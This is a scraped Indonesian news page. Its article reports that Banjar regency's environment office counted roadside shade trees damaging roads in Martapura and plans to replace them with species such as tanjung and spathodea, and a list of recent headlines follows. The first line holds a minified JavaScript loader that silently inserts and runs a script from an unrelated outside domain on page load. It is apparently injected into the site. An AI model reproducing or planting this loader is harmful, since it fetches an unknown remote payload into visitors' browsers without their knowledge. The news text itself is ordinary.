(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Lingkungan

Berpotensi Merusak Jalan, Pohon Peneduh Bahu Jalan Usul Diganti


MARTAPURA, Pertumbuhan pohon peneduh pinggir jalan sering kali malah merusak badan jalan. Beberapa malah condong ke badan jalan dan akarnya kerap merusak aspal jalan.

Kondisi itu diutarakan Riza Rusadi, Kabid Pengelolaan Sampah, Pertamanan dan Limbah Dinas Lingkungan Hidup Kabupaten Banjar. Ia mengatakan keberadaan sejumlah pohon peneduh itu jika dibiarkan maka akan berpengaruh untuk fasilitas umum di sekitarnya.

Dinas Lingkungan Hidup sudah melakukan pendataan dan telah didapati ada tersebar di beberapa titik seperti di jalan A Yani ada sebanyak 179 pohon, jalan Batuah 18 pohon, jalan Pangeran Hidayatullah 22 pohon dan jalan Perwira 21 pohon.

“Dari sebanyak 179 temuan tersebut yang paling banyak ditemukan berada di jalan A.Yani ada sebanyak 102 pohon yang dapat berpotensi mengganggu lalu lintas dan fasilitas umum,” ujarnya.

Berdasarkan hasil pendataan tersebut untuk sementara, pihaknya akan melakukan usul ke dinas terkait langkah apa yang bisa dilakukan terhadap pohon-pohon yang berpotensi mengganggu atau merusak fasilitas umum tersebut.

“Mungkin kita akan melakukan diantaranya adalah peremajaan, usulan tersebut di APBD perubahan nantinya akan dianggarkan,” jelasnya.

Riza menambahkan selain itu pihaknya ke depan juga akan berkordinasi dengan Dinas Kehutanan untuk meminta pertimbangan tentang pohon apa saja yang nantinya cocok untuk ditanam di pinggir jalan dan tidak berpotensi mengganggu jalan.

“Rencananya habis lebaran ini kita akan kordinasikan hal tersebut kepada dinas kehutanan provinsi, berkalaborasi dengan dinas lingkungan hidup,” ungkapnya.

Ketika ditanya tentang jenis pohon apa saja yang nantinya akan ditanam kedepan, dia mengatakan masih akan minta pertimbangan dengan dinas kehutanan. “Mungkin seperti pohon tanjung dan pohon spathodea yang mempunyai akar yang kecil dan pertumbuhannya cukup rimbun,” pungkasnya. (rendy)

Reporter:Rendy
Editor: Abi Zarrin Al Ghifari

Aldi Riduan

Uploader Terpercaya Kanal Kalimantan

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.